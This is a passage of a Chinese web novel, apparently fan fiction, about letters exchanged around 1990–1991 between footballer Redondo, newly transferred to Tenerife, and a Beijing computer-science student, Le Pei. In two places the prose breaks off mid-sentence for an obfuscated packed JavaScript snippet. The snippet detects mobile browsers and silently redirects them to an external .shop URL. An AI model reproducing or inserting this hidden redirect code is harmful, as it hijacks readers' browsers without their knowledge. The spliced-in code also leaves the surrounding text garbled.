祝愿你顺利完成转会,等不及想知道你在新俱乐部过得怎么样。 ps.我想那些无孔不入的媒体应该不至于来翻看私人信件,不然我可能得删去‘飞虫’那句话,不然你一定会会被他们编造谣言报复的,那就完蛋了(笑脸) 来自乐佩 写于大家都在期待世界杯但期末考试更要紧的儿童节 1990年6月1日 秋季赛季结束后的这两个月对雷东多来说发生了很多事,他拒绝了比拉尔多的邀请,被马拉多纳和鲁杰里点名批评,作为不知好歹的足球运动员在全国出了名。 那段时间对他来说并不好过,不过真正认识他的人都知道他的脾气,对他为了学业放弃世界杯的选择毫不意外。除了避之不及的媒体,狂热球迷的攻击对他的生活没有产生多少影响。 在秋季赛程结束的时候,雷东多不得不主动接受采访,表明自己并非不想为国家队效力,向被他拒绝的国家队主教练道了歉,这才把自己从舆论压力中解救出来。 尽管世界杯给他惹了不少麻烦,雷东多还是热情地关注着阿根廷队的比赛,就像他说的那样,他始终希望加入国家队,也永远会在大赛中支持阿根廷,不想当替补、不愿意给比拉尔多踢球,这是另一个层面的问题。 他看着阿根廷一路挺进决赛,比一般球迷更早意识到了这支队伍存在的问题,当阿根廷再次离大力神杯只有一步之遥的时候,雷东多感情上希望球队卫冕,理智却认为西德队夺冠的概率更大。 所以就算再来一次,他也不会接受比拉尔多的邀请,连比他更早成名的卡尼吉亚都没能上场,雷东多知道自己只能在替补席上看一整场比赛,这样拿到的冠军很没意思。 阿根廷队最终果然输了,雷东多像无数年轻有前途的球员那样,相信等自己成为主力,站在世界杯的赛场上时,会带领球队赢回胜利。 球队错失冠军的阴影只持续了一两天,雷东多有更要紧的事,转会的想法出现了很长时间,他一直在等合适的机会,这个赛季他收到更多来自五大联赛球队的邀请,他在其中看中了西甲的特内里费。 特内里费是非洲大西洋海域加纳利群岛上的一支小俱乐部,球队成立的将近七十年间,大部分时候都在乙级或者丙级联赛,在前几年被雄心勃勃的主席佩雷斯接手之后,才终于升到了甲级联赛。 俱乐部新上任的主帅是前阿根廷国脚豪尔赫索拉里,这位教练有着在拉美地区丰富的执教经验,如今被请到西班牙,也可见特内里费想要在联赛中更进一步的决心。 雷东多和特内里费之间的联系是索拉里一手促成的,他很看好这个在国内联赛崭露头角的年轻人,有信心带他站上欧洲更高的舞台,特内里费想要出成绩,也离不开雷东多这样的球员。 有人认为特内里费这样在降级区徘徊的小球队和雷东多的野心不匹配,雷东多不这么觉得,或许他还有其他更好一些的俱乐部可以选择,但是第一次进入五大联赛,有一个赏识他的教练比俱乐部的成绩更重要。 只是转会的过程中他遇见了不少麻烦,阿根廷青年人看不上特内里费的转会费,他们想用雷东多好好赚一笔,只是雷东多不是普通的小球员,会被他们画的大饼哄骗住,他拿定了自己的主意,俱乐部的阻拦只会让他厌烦。 一番纠缠之后,雷东多最终还是成功脱离了培养他十余年的母队,在八月初离开了家乡布宜诺斯艾利斯,开启了一段全新的旅程。 一切都很顺利,就是两个月前拒绝比拉尔多的理由变得站不住脚,到特内里费之后,在阿根廷的学业很难继续下去,家人倒是不介意他辍学,原本雷东多也是这样想的,然后他想到了远在中国的乐佩。 通了几次信之后,雷东多渐渐意识到,乐佩是自己人生中遇到过最聪明也最善于学习的人,而且她很热爱学习,享受学习带来的自信和成就,这和他认识的其他所有人都不一样。 虽然他们之间的脆弱的联系靠几张纸辛苦维系着,雷东多很少在回忆起上一个冬天,但他仍然将乐佩当做一个重要的朋友,他总要向朋友身上的优点学习。 所以雷东多最终没有选择肄业,而是决定休学,反正他现在只剩下一年的学业,学校那边老师能体谅他的情况,利用每年两次长假补课,慢慢磨总有拿到毕业证的那天。 只可惜在他离开的时候,乐佩新的信还没到,这次书信相隔的时间变长了,雷东多一度担心信丢在路上,他决定等适应了特内里费的生活后,再给乐佩写一封,更新一下地址。 好在乐佩的信最终没有丢,在他到特内里费三天后,哥哥打来 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他知道弟弟过去几个月过得有些糟糕,如今来到特内里费脱离了旧环境,整个人仍然地被一股若有若无的郁闷气息纠缠着,如果没有这封信,或许直到他在特内里费踢上了比赛,用自己的表现征服了球迷,才能真正摆脱过去的阴影。 但现在雷东多已经焕然一新了,他又将信反复读了两遍,脸上露出轻松的微笑,一股仿佛赢下了一场比赛的喜悦和得意。 莱昂纳多在他眼前打了个响指,强行阻止他再读下一遍,“你这是什么表情?” “没什么,”雷东多咳了一声,想要装矜持,只是嘴角的笑怎么都压不下去,“我只是很高兴,我就知道她能懂我的意思。” “所以呢,这有什么值得高兴?”莱昂纳多啧了一声,他想到雷东多最艰难的那几天,父母的劝导和他这个兄长体贴地安慰,好像都没有让他这么眉开眼笑过,“我和爸爸妈妈劝你劝的还少吗?” 雷东多咳了咳,选择不再继续气自己的哥哥,“那不一样,你们是最了解我的人,因为我们生活在一起。但......当时其他人都不理解我到底在想什么。” 而且乐佩在信里分享了自己上学期考了年级第一的喜悦,虽然乐佩主要写的是马上又要期末考试的焦虑,雷东多选择性忽略了这一点,他再次确定自己读完大学的决定有多么正确。 莱昂纳多接受了这个解释,但他还是不太想搭理自娱自乐的弟弟,之前他还以为雷东多已经不在乎这几页在路上一走就是两个月的纸了呢。 信兜兜转转来到乐佩手上的时候已经是十月份,她第一眼就注意到信上的地址变了,雷东多去了西班牙,就像他希望的那样。 乐佩替他感到高兴,打开已经发皱的粗糙信封,里面又掉出来一个白色的信封,上面还有一个蓝白相间的图案,乐佩猜到这是足球俱乐部的队徽,和她在报纸上看到的那些队徽是一个风格。 信封鼓鼓囊囊,他们之间的信都越写越长,大概因为等待信件的时间太长,之间发生的故事怎么也说不完。 她打开信封,几张照片掉了出来,大部分是城市风景,和布宜诺斯艾利斯不太一样,高大的棕榈树和美丽的沙滩,其中一张在照片的右边,她看到了游客雷东多。 雷东多的卷发比之前变长了,他不再留背头,头顶的发丝梳出整齐的弧度,发尾别在耳后。从前年轻的学生气质变成熟了一点,过去几个月发生在他身上的新闻多少给他带来了一些改变。 最后一张照片像是证件照,应该是俱乐部给新球员拍的官方照片,雷东多穿着蓝色的球衣,在明媚的阳光下一脸笑意,隔着薄薄的一张纸看向她。 20.信笺(20) 舍友们注意到,乐佩今天晚上没有写作业,而是一直在捣腾她没几件衣服的衣柜,好像很发愁的样子。 沈静探头,脸上带着欣慰:“你终于意识到自己平时穿的衣服根本不像是个大学生,现在开始关心自己的形象了吗?” 乐佩从柜子里退出来,苦恼地皱着眉,“也没有那么糟糕吧......只是款式太旧了而已。”她要为自己正名,她还是买了几件外套的,就是同样有点老气罢了。 “何止是款式旧,你每天的打扮不看脸的话简直像我的大姨!”林亦舒合上手里的小说,嘴里还哼着歌,“你作业是不是已经写完了?小佩你最好了,借我看一下可以吗?” “你刚才还说我是大姨。” “你看脸的话完全是仙女!西游记里的嫦娥应该找你去演!”林亦舒一秒钟改口,乐佩被她的马屁逗笑了,指着自己的书包,林亦舒欢呼一声找她的作业去了。 来学校一年多了,乐佩从来不像其他姑娘那样爱逛街,在打扮上花心思。尤其她如今并不算缺钱,便宜的批发市场也有仿制的新款服装,按道理乐佩完全可以把她衣柜里那些洗的发白的衣服全都捐掉。 舍友们不理解,乐佩也说不出理由,她只是没有一个打扮自己的动力,觉得现在这样也挺好的。 所以当她开始纠结衣服,是因为打扮的动力出现了?沈静和一直没出声的顾晓薇对视一眼,一个茫然一个惊喜,顾晓薇大喊:“是不是文彦恺打算约你去舞厅?!” 宿舍里响起此起彼伏的起哄声,只有乐佩一脸无奈,“......没有啊,我只是想去逛街了而已,这不是你们经常催我吗,现在我愿意去了,你们又在干什么?” 猜错了男嘉宾,舍友们倒也不算失望,因为乐佩看上去就在嘴硬。文彦恺这学期和乐佩走的越来越近,两人经常一起吃食堂上自习,还有一次沈静在西门外的公园里看见他们两个散步。 文彦恺的心思大半个年级都知道,乐佩几乎没有主动过,不过她也没拒绝不是吗?大家都觉得这两个人在一起是早晚的事。 乐佩知道这几个姑娘在想什么,她也没解释,大家一起去逛了一次街,乐佩只买了两件衣服,大家都说这太少了,约会的时候不够穿,乐佩笑嘻嘻地眨眼,“我只是想去拍个照片,和约会有什么关系?” 姑娘们这才知道乐佩想收拾自己并不是因为外面的野男人,她们放心了一点。趁着一个秋高气爽的周末大家一起去了香山,红叶只有零星几个,这不影响她们用顾晓薇的照相机拍完了整整两个胶卷。 回学校后乐佩催着要赶快把照片洗出来,结果看到自己的单人照之后,她沉默了好一会儿,不太满意的样子。 “怎么了?”顾晓薇凑过来,“我看都拍得很好啊,你不喜欢吗?” 乐佩抬头,嘴里幽幽地冒出一句:“你说我要不要去剪头发?” 顾晓薇舍不得乐佩这一头留了十几年的长发,不过她想要换个新发型也挺好的,头发太长有时候的确不方便,何况乐佩的发质不太好,以前营养不良,上了大学之后熬夜学习大家都掉头发,头发越长掉的越多。 顾晓薇陪着乐佩一起去了理发店,路上抓紧最后的时间和她的麻花辫告别。等乐佩在理发师的推荐下剪头发拦腰截断,在发尾烫了大波浪之后,顾晓薇看着镜子里大变样的好友,这一刻她也想烫头发了。 “以前你看着像学生,现在这样像香港女明星,涂个红嘴唇就更像了!” 乐佩看着镜子里有些陌生的自己,忍不住抬手摸了摸垂过肩膀的头发,头发变短的感觉既新鲜又有趣,将近二十年来她还是第一次体验。只是,“我本来就是学生啊,像学生也挺好。” 新发型在宿舍引起了轰动,沈静开玩笑说她应该剪袁洁莹那样的短头发,这样剪下来的头发还能拿出去卖笔钱。几天后乐佩一个人穿着新衣服去了校外的照相馆,涂着鲜艳的口红拍了一组照片。 之后当舍友叫她逛街的时候,乐佩很少再拒绝她们,慢慢地也学会了化妆,虽然只是简单的画画眉毛,给嘴唇上颜色。她喜欢自己的改变,这让她离一年多前孤零零初入校园的‘乐佩’越来越远,或许这才是她本来应该有的样子。 如果不是雷东多的信和照片,她恐怕还意识不到这一点。乐佩没忘记自己作出这一切的起因,虽然在将新的照片放进信封里的时候,她有一瞬间的迟疑和不好意思,很快她又说服了自己,她希望将这份喜悦分享给雷东多。 雷东多在信中提到的新俱乐部特内里费,乐佩去图书馆查了资料,书上只说这是一个远离西班牙本土的小岛,在大航海时代开启后被西班牙殖民,现如今岛上基本都是南欧移民的后裔,彻底变成了西班牙的一部分。 难怪雷东多会抱怨说去比赛不太方便,岛上只有特内里费一支西甲球队,所有的客场他们都必须坐飞机才行,路上耽误时间,还会影响状态,不过乐佩相信雷东多很快就能适应,反过来想他们的主场也占了很大优势不是吗? 除了一点地理情况,图书馆再找不到介绍特内里费的资料,好在这学期她选上了西班牙语课,老师在西班牙待过很多年,比书本更了解这个国家的情况。 不过他也没听说过特内里费的足球队,只知道那里很适合度假,还有十多年前发生在小岛机场的那起悲惨空难。 乐佩在信里请雷东多再多说说特内里费的故事,而且希望他可以用西班牙语写,“动词变位不太好记,好在我有基础。现在课程已经开始讲时态了,我每天都有背单词,说不定你写的内容我能看懂呢?” 这学期开始学专业课后,课程难度再上一个台阶,老师酣畅淋漓地讲完之后,班上总是没人能听懂。骤然增大的课业压力中,西班牙语成了乐佩消遣时间放松心情的首选,她打算在大学期间彻底学会这门语言,万一以后有机会,她还能到布宜诺斯艾利斯看望叔叔婶婶。 知道雷东多转会之后,她重新开始在报刊亭流连,西甲联赛的关注度比阿根廷高得多,虽然报道基本只围绕马德里和巴塞罗那的俱乐部,但每周的积分榜上,乐佩都能看到特内里费的名字。 这赛季某个地方台开始转播西甲比赛,同样只播最热门的比赛,特内里费这样的小球队只有在和大俱乐部比赛的时候,才能在电视上露脸。学校里关注西班牙的球迷不多,乐佩靠着足球队学长的人脉联系到了这个小群体。 观赛夜,乐佩去看了特内里费和皇马、巴萨的比赛,她在高糊的画质中凭借跑动的姿势勉强认出小人儿雷东多,一场比赛可能只有一两秒放大的镜头,脸依然是模糊的。 这不影响乐佩看比赛津津有味,特内里费的水平当然差得很远,但雷东多在中场给对手引起的麻烦连她一个外行都能看出来,在一片为主队加油的声音中,乐佩听到有人小声抱怨,说那个特内里费的中场有点难缠。 和皇马的比赛特内里费没能赢下来,第二天乐佩在报纸上再次看到了雷东多的名字,甚至角落里还有照片,他和对手球员抢球,强壮的身体占了上风。 没有颜色的照片看不到多少细节,但是要比电视画面强得多。乐佩鬼使神差地买下这份报纸,等回到宿舍才意识到自己有点无聊。 她最后还是从报纸上剪下了这一段,照片连带着文字,放进了装信的小盒子里。 这样电视和报纸上的短暂一瞥很少见,不乐佩并不贪心,只当这些是意外之喜,就好像顾晓薇在新播出的电影电视剧里看到自己喜欢的男明星那样,乐佩有时候觉得她这样也是在追星,蛮有趣的,只不过和普通人不同的是,她有和‘星’的合照,就收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16909324|191735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在抽屉里。 日子在电路和离散数学的百般折磨中平淡地过下去,期末考试的时候乐佩比上学期更忙了,除了帮舍友,她也帮了为成绩发愁的文彦恺。 很难准确描述她对文彦恺的感觉,就像她之前说的那样,文彦恺的长相不错,说话风趣,待人温和有礼貌。在他主动地越来越明显时,乐佩发现自己并没有拒绝他的意思,她还会在学校很多年,有机会她想永远留在北京,她喜欢这座城市,所以总要为自己的未来考虑。 期末考试之后,乐佩和文彦恺在一起了。舍友们一点都不觉得意外,反倒认为文彦恺的动作太慢了。 文彦恺也是南方人,家离上海很近,他们都喜欢雪,于是寒假开始的时候两人北上来了一次短暂的旅行,玩得很尽兴。 之后文彦恺回去过年,乐佩的家里照例没人催她,让她又享受了一个清净的春节。 她在年前收到了雷东多的信,信在路上走的时间比以前在布宜诺斯艾利斯要短。雷东多贴心地将信用西班牙语和英语各写了一遍,乐佩的努力刺激到了他,他至少也要彻底学好英语才行。 等到1991年的春天,新学期开始。乐佩在上次期末考试中没能继续稳住年级第一的宝座,当然第三名也很厉害。拉分的科目是电路原理,新学期他们还要学模电和数电,这是学长口中最可怕的两门课,她得加倍努力才行。 好在她的程序设计是满分,一次去系馆上课的时候,她遇到了教这门课的张教授,教授对她印象深刻,夸奖她许多,又说她可以去找自己课题组里的老师学点新东西。 乐佩抓住了这次机会,虽然现在才是二年级,但她早在新生入学的时候就开始考虑毕业之后的事情了。她当然不可能回家,按照导员学姐的说法,以她的成绩,只要找到合适的导师,很容易能留校深造。 她悄悄进组的事谁都不知道,但半夜跑出去看比赛瞒不住最亲近的人,文彦恺每次都会陪她。虽然他并不了解过西甲联赛,只当女朋友喜欢西班牙的某个俱乐部。 乐佩任由文彦恺这么误会下去,她纠结过要不要说实话,但是一个远在异国他乡的笔友听上去就很奇怪,乐佩想不出也不愿意去想该怎么开口解释。她不想毁了这段感情,但这不意味着她会因此放弃重要的朋友。 早在她认识文彦恺之前,费尔南多就已经走进过她的生活了。 因为好几次乐佩后半夜才回宿舍,顾晓薇也发现了乐佩对足球重燃的热情。一天晚上当乐佩轻手轻脚摸黑准备上床的时候,她从上铺探出脑袋,“你干什么去了?” “你怎么没睡觉?吓我一跳!”乐佩拍着胸口,顾晓薇已经身手矫健地爬下来,坐到她的床边,“老实交代,你是和文彦恺一起出去的吧!” “......是,但我们是去看比赛。” 顾晓薇长出了一口气,又嘿嘿笑起来,“我就说,你们两个甜甜蜜蜜,也不能天天住在外面吧?” 乐佩拎着她的领子把她从自己的床上丢开,“坏丫头,胡说八道什么呢?回你床上去,我要睡觉了,你也赶快去睡!” 在这之后,顾晓薇知道乐佩有了喜欢的足球运动员,雷东多再一次因为表现出色搏得一块板面的时候,乐佩给她看了报纸上的照片。顾晓薇兴致勃勃地分析了一番,认为乐佩的眼光有所进步,另外两个舍友也为她开始‘追星’而感动。 “但是你一定不要和文彦恺说这些,”沈静分享她和自己男朋友的血泪教训,“你们肯定会吵架。真是气人,明明他那么喜欢王祖贤,却不让我喜欢黎明!” 那是因为这两件事不一样,乐佩没有说到底哪里不一样,她只是假装擦掉额头上不存在的冷汗,“只能怪你你表现地太过头了,而且喜欢的明星总是换人。我只是看看比赛和报纸而已啦。” 21.信笺(21) 来北京上大学两年后,乐佩在暑假第一次回了家。大概是因为这么长时间她给家里寄钱足够勤快,这次到家后的氛围没有她想象的那么剑拔弩张。 父母难得给了她好脸色,家里多盖了几间房子,所以现在居然也能给她收拾出一间空房来,不至于成年了还和奶奶挤在一起睡,乐佩自嘲地想,她都要‘受宠若惊’了。 这样好的待遇果然只持续了没两天,爸爸妈妈要上班,哥哥不知道在干什么很少回家,弟弟马上上高三了,妈妈让她每天在家照顾好他。 乐佩不得不做了几天饭,但是她和弟弟相看两厌,发现弟弟偶尔冒出来的难听话里藏着对她好成绩的妒忌之后,乐佩更不可能管他的死活了。 勉强相安无事了一段时间,就在乐佩觉得该离开的时候,父母给她介绍了一个男孩儿让她去相亲。 那个男孩儿是爸爸朋友家的儿子,也是老二,但家里对他要好得多。刚刚大专毕业,回家之后在市区最大的车行做职员。 公平地说在他们这里这个男孩儿条件很不错了,不过乐佩只觉得好笑,尤其妈妈话里话外暗示她好好相处,顺利的话等她毕业回来很快就能成家。 真新鲜,这还是以前那个因为她在学校和男生多说了几句话,就骂她不讲规矩的女人吗? 乐佩没精力和家里人作对,现在也不到可以闹翻的时候。她去和那个男孩儿见了两次面,男孩儿在大专里好好上了学,所以谈吐还算有见识,和小时候相比进步不少,乐佩多少愿意和他坐下来聊聊天,但也仅限于此。 第二次见面的时候,他就忍不住规划了两人结婚之后一起生孩子赚钱养家的美丽蓝图,乐佩默默听完他的尽情挥洒,回家之后收拾行李逃命一样跑回了学校。 和家里相比,可怕的专业课和上课只讲谜语的老师都变得和蔼可亲起来。入学第三年,乐佩的学习劲头更上一层楼,让已经习惯了大学生活有些松懈的其他同学大吃一惊,不得不跟着她一起继续好好学习。 这次回家刷过存在感之后,乐佩以为她还能再躲两年清净,结果冬天家里人催她回去过年,美其名曰该吃个团圆饭,实际是给她创造机会继续和那个蓝图男孩培养感情。 “这个假期过得很糟糕吗?”春天再见到乐佩的时候,顾晓薇敏锐地发现她精神头并不好,有些烦躁,不像其他人过年都发胖,她反而瘦了。 “不能算糟糕,因为在家里永远都是这样。”乐佩扯了扯嘴角,面对好友的关心,她没忍住吐露了一点心声,“我这么多年不愿意回家,又不是因为车票太贵路上太难走。” 顾晓薇很好奇,但乐佩身心俱疲,所以她没有多问,只是抱着乐佩,捏了捏她没了手感的胳膊,“新食堂开门吧,我们去尝尝吧,我一定要把你这里的肉肉养回来。” 新食堂的饭味道不错,花样也多,乐佩身上的肉慢慢长了回来,上学期的发愤图强也有了收获,她重新回了年级第一的宝座。 春季学期的课程比秋季学期要轻松一些,计算机系大三的同学们分了方向,硬件软件都有好几个门类。 乐佩的编程设计和计算网络方面的成绩更好,教过这些专业课的老师们纷纷找她面谈,乐佩最终还是选择了张教授,她已经在组里学习了一年,无论知识储备还是专业经验,她都能更快上手。 顾晓薇和她仍然在一个班,这也是系里最热门分最高的方向。沈静和林亦舒很遗憾自己的成绩不够,但她们也不强求,程序并不是她们最感兴趣的内容。 她在这个春天参加了考了西班牙语的等级考试,踢球的水平仍然仅限于停球五米远,传球传跑偏,比赛看得越来越多,因为特内里费的排名变高了,出现在电视上的机会也变多了。 家教的学生已经换了好几批,乐佩代课的频率远没有刚入学那么高,因为课题组每个月都有补贴,帮西语老师翻译材料也能拿小费。 在舍友的撺掇下,她试了各种各样的发型,理发师的技术不怎么样,头发剪出来的效果和杂志上女明星的样子约等于没有关系。 “我恨你小静静,”乐佩看着镜子里自己仿佛火灾现场的羊毛卷,欲哭无泪,“等暑假回家之前我还得拉直一次!” 乐佩知道自己这个暑假恐怕不能躲在学校里,但她不会给自己找不痛快,很少去想家里的人。只要她想,父母兄弟的脸就能从她的脑海中消失,比陌生人还要陌生。 但她的平静生活还是被打破了,学期末夏天快来的时候,妈妈领着连大专也没考上的弟弟从家里来到了学校,乐佩对此毫不知情,当她妈妈因为探亲的理由被楼长放进宿舍的时候,她还在图书馆和文彦恺复习。 宿舍里只有两个人,顾晓薇在写报告,林亦舒还没有起床,她们都被不请自来的乐佩妈妈吓了一跳。 这是个瘦小的女人,身上的衣服合身整齐,打扮的并不算老土,不是家里困难需要女儿时时周济的样子,她很脸上有深深的纹路,能看出是个不爱笑的人,见到她们只是扯了扯嘴角,乐佩和她长得一点也不像。 她问到乐佩的床位之后,非常自来熟地坐了上去,左顾右盼,下一秒开始翻乐佩的东西。 顾晓薇深吸了一口气,客气地请她妈妈坐到了桌子边,又给她倒了一杯温水。女人这才发觉自己似乎打扰到了她们,僵硬地接过杯子抿了两口,带着浓重的口音和她搭话。 她打听乐佩在这里的情况,包括她的成绩,打工赚钱是不是很认真。顾晓薇很快意识到乐佩向家里隐瞒了学校发生的一切,所以她含糊地应付了这些问题,一句真话都没有说。 女人又问乐佩有没有走得近的男孩子,匆匆洗漱回来的林亦舒刚要热情地说话,被顾晓薇飞快打断了,“抱歉阿姨,我们和乐佩不太熟,她打工赚钱太忙了,课业压力也很重,她应付不过来。” 林亦舒震惊地睁大眼睛,接到顾晓薇的暗示后她连忙跟着点头,表示乐佩除了睡觉很少回宿舍,她不知道乐佩每天都在做什么。 听到乐佩的成绩不如意,女人的脸色反倒好看了不少,顾晓薇看清了她的表情,心里不是滋味。好在她不用继续和这个女人虚以委蛇,乐佩回来了。 乐佩是午饭前回来放东西的,在楼下看到二流子一样蹲在墙角看行李的弟弟后,她二话不说飞快地跑上楼。 顾晓薇能看出乐佩对妈妈的突然到访很不满,但她强压着怒气没有发作,气氛冷淡得不像一家人,乐佩放下背包,母女两人简单说了两句,一起离开了。 直到晚上乐佩才回到宿舍,她看上去比期末考试连轴转还要累的多,脸色发白,一向爱干净的人直挺挺地躺在床上,连呼吸都觉得疲惫。 沈静从舍友口中知道了白天发生的事,三个姑娘面面相觑,谁也不敢打扰她。直到过了好一会儿,乐佩从床上坐起来,看到舍友们关心的目光,她叹了口气,为妈妈闯进宿舍的鲁莽行为道歉。 “没关系,你也不知道她要来。”林亦舒开了个玩笑,“如果你实在觉得不好意思,过两天的实验测评你能帮我去吗?” 乐佩露出了今天晚上第一个笑脸,“那不可能,自己的实验自己做,难不成你不想毕业了吗?” 在林亦舒的哀嚎声中,这件事似乎就这么过去了,直到半夜大家都上床睡觉,顾晓薇起夜的时候,看到下面没有来开的床铺,乐佩坐在风扇旁边发呆,爆炸头被吹地乱飞。 她搬着凳子坐到乐佩身边,什么话也没说,乐佩侧头看了她一眼,又转了回去,两个人对着摆脑袋的电风扇沉默了许久,乐佩终于开口了。 “我妈妈和我弟弟一起过来的,他们想在北京玩几天,要我跟着一起。”乐佩的声音听上去有些飘忽,“哪怕他们知道我马上有期末考试,知道成绩很重要,他们也不在乎我是不是要复习。” 顾晓薇攥住手心,“抱歉,我没和你妈妈说实话,她以为你成绩不太好。” “是我要谢谢你替我圆谎,”乐佩握住她的手,自嘲地笑了一声,“他们原本就不想让我来上大学,我学习不好,毕业灰溜溜地回家,才能如他们的意。” 顾晓薇震惊了,她已经见识到了那个女人并不是一个合格的母亲,也想不到她会反对这样的人生大事,她讷讷无言,半晌才说,“他们怎么这样?我觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16915412|191735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ......有点过分。” 乐佩耸了耸肩,“我都习惯了。”她嘟囔着讲完离开宿舍之后发生的事,去食堂吃饭,帮他们在学校的招待所安顿下来,又陪着在学校里转了一下午,听着妈妈和弟弟说话,一万次忍住想要甩开他们的冲动。 她开了个玩笑,“我猜因为我在学校待的时间太久了,忍耐力下降了不少,以前我想掉头走人的冲动可不会有这么频繁。” 顾晓薇笑不出来,发愁地眉毛都皱起来了,“你这样子,以后毕业怎么办,你刚说他们要你回家。” “我不可能回家,”乐佩毫不犹豫地说,“组里有很多直升硕士的学长,老师前段时间还说,等明年到我们这届,系里会有好几个直博的名额,我想试试。” “我来北京读本科的时候他们就拦不住我,我要是想继续读博,有教授背书,他们更拦不住我了。” “你确实可以试试,”顾晓薇高兴了,“所以你还要继续留在北京,那我们还能每天见面,太好了,博士毕业之后你肯定也不会走了对不对?” 乐佩笑着点头,顾晓薇又问道,“文彦恺知道你的计划吗,他也要继续读书?今天你妈妈还问你有没有男朋友,我们都装不知道。” 但是他们中午还是见到了文彦恺,乐佩收住了脸上的笑,回想起来,在她和妈妈刚出宿舍楼的时候,文彦恺就等在门口准备和她去吃午饭。 他叫了乐佩好几声,乐佩不得不停下来和他说话,客气的态度没能让文彦恺察觉现在不是聊天的好时候,他还热情地和乐佩的妈妈打招呼,不顾乐佩的眼色非要表现自己,乐佩在他提出要一起吃饭之前把人哄走了。 弟弟一口咬定这是乐佩的男朋友,说她在家里谈一个学校谈一个太不要脸。乐佩当然不承认,妈妈相信这只是个对女儿有好感的小伙子,这不影响她把乐佩骂了一顿,让她记住她是毕业之后要回去结婚的人。 乐佩不为妈妈和弟弟的难听话生气,她只是气文彦恺当时的反应,一向机灵的人也有这么蠢的时候?哪怕他什么都不知道,是无辜的,乐佩一时半会也不想说起他。 “他应该也要继续读下去吧,我们不太聊这些。就算直接找工作肯定也在北京,这里机会最多。” “那就没什么好担心的了。”顾晓薇最后抱了抱乐佩,拍拍屁股站起身,“很晚了,我们去睡觉吧。” 乐佩也站起身,抓了抓毛茸茸的头发,这头头发当然也挨了批评,乐佩反倒觉得挺爽。她把风扇放回桌子上的时候,听见顾晓薇在身后吐槽,“我想起来了,你妈妈今天一进门就坐你的床上翻东西,我都看呆了,没见过这样的......” 乐佩猛地直起身看她,确定顾晓薇不是在开玩笑之后两步跑回床边,先摸床垫底下的钱,东西都在,又去摸枕头后面装信的盒子,盒子不见了。 “你找这个吗?”顾晓薇从自己的抽屉里拿出盒子来递给她,“下次藏好一点吧,你妈妈差点就翻到这个了。” “谢谢你。”乐佩打开盒子,看到里面的信件都完好无损,这才松了口气。当然她不是担心顾晓薇碰这些,她要是想看会主动说,乐佩也愿意和她分享。 顾晓薇现在还以为和她通信的笔友是在阿根廷的小姑娘,她猜乐佩学西班牙语也是为了人家。盒子里还有好几张从报纸和杂志上剪下来的照片,都是乐佩喜欢的那个年轻球员,顾晓薇觉得这些照片才是不能让她妈妈发现的东西。 “你妈妈连谈对象都要盯着你,我猜她肯定不同意你追星。” 等顾晓薇上床之后,乐佩并没有睡觉,她拉上帘子打开头顶的小灯,又仔细检查了一遍盒子里的信件。 雷东多的信已经有十来封,每次乐佩自己回信的时候也会誊抄一份放在一起,折叠起来的信纸将盒子快要塞满了,乐佩的指尖熟练地清点了数目,想了一会儿,又将所有信倒了出来,一封一封的看过去。每次心情不好的时候,乐佩都会这么做。 距离上一次她寄信才过了不到一个月,按道理暑假后她才需要写下一封,但现在她一刻都不想等了。她摸出了信纸,一直写到东方发白。 22.信笺(22) 致亲爱的乐佩: 抱歉这么晚才给你回信,我是在八月初才收到了你的信件,两封一起到达。第一封信路上耽误了太长时间,第二封信起初我还以为是其他人填错了地址,看到上面的字才确认也是你写来的。 第二封信是意料外的惊喜,我原以为只有我一个人觉得每次通信之间相隔的时间太久,有几次在还没收到你的回信时,我又有了想要写给你的话,可惜那些话最终只是记在脑子里,等到真正提起笔,已经过去了很长时间,我会忘记当时的心情。现在想来我那些犹豫无聊而且毫无意义。 现在我还没拆开你的信,姑且简单猜测一下,一定是有什么好事发生,你在学校的表现永远让人印象深刻,就算你说万维网其实是你发明的我也一点都不会觉得意外(这是一个玩笑,不过我始终相信你的实力) 恭喜你加入了心仪的研究方向,软件开发这样的名词只是听上去就非常高端了。记得在去年的信里你还说院系没有足够的pc机,只能去公开机房写编程作业,经常排队到半夜才能上机,现在你有了自己的工位和pc机,这想必方便很多,熬夜对身体不好,就算课业压力很重,我也希望你能始终健康。 我记得你还有两年多才毕业,没想到你们现在就要为最后一年的实习机会发愁。我不太了解计算机的行业,不过在西班牙电脑和软件开发领域十分火热,我虽然远离西班牙本土,也知道马德里那边这样的公司都很需要人才,想必以你的水平不会缺少机会。 ...... 我看到了你的第二封信,虽然你没有说到底发生了什么,但我知道那一定是很糟糕的事。你愿意向我倾诉这些烦闷的心情,这是我的荣幸,其实我更希望能在第一时间给你安慰,但这张薄薄的纸限制住了我们之间的距离。 你在信中这么说,“一个人如果被套上了无形的枷锁,那他的命运是不是将会任人摆布?我每次都说,认识你很高兴,这不是一句客套话,费尔南多,虽然我已经被困在了原地,但我永远会怀念在布宜诺斯艾利斯那个短暂的冬天。每当我读到你写给我的信,我的心就还是自由的。” 我同样牢记着和你在一起的每一个瞬间,但我知道我写的那些没什么水平的信绝对没有这么大的魔力,这世界上大部分人都无法主宰自己的命运,但那只能怪他们懦弱无能,没有为了自己奋力一搏的勇气和决心,也找不到人生的方向,你绝对不是这样的人。 